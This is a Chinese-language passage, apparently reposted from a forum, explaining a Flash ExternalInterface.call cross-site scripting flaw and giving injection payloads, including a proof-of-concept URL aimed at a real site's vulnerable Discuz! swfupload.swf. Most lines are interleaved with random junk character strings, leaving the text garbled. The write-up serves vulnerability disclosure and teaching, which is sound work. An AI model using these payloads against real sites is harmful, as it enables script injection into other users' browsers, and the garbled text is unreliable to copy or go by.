上回我们说
; P6 D d" D2 O( J7 M: p/ O- \8 t
$ I( ~: U$ `0 X& z3 l! J' X) [8 i fflash.external.ExternalInterface.call($methodName, $parameter)- D. J# n( A4 D6 K' n% f( X1 B
在浏览器中执行的是; p# N x# Y3 _8 G( H
8 q; Y. W- ^1 o7 U" R2 W
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
: \4 ~, ^" g& \) O y8 s对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如) E) r; q* n" Q
9 \5 h4 Z+ e' g7 R7 O3 Iflash.external.ExternalInterface.call("object."+$methodName, $parameter)3 M0 J# \; `+ H# ]* [
$methodName = a())}catch(e){alert(/xss/)}//
$ h+ ]& E3 V- f6 {6 X y结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
; z4 o6 Q( h" p4 j. r' X
3 ^4 P+ l5 s( P0 X% Ltry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
: b O M" u( I& u7 C) l0 B" m U- \' s& }' c% g4 g) q
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
0 Q8 |: z$ i' H) V O' ?6 }5 n9 @杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。: p; N+ I: G8 t* @2 e
/ P/ z; K7 K7 k. }# G
' U* Z0 g4 r% H/ Z
$ f% |, ^0 V0 ]9 }1 I3 u) \( l% G漏洞文件:upload\static\image\common\swfupload.swf& ^1 o) I5 w7 i1 {, X
" E; o t; @ c" V) J% q
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf: p+ A& {9 j: ?: v! @ j8 y
' T( P; {9 p! S8 l" }
* }9 r- w: F. S- I
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
; I2 ?' v. J6 l7 K% F0 _, i
( j' D" p, [$ V. o; ~' i3 H& R7 c+ ~) E, V3 @# t" m9 }3 ?
|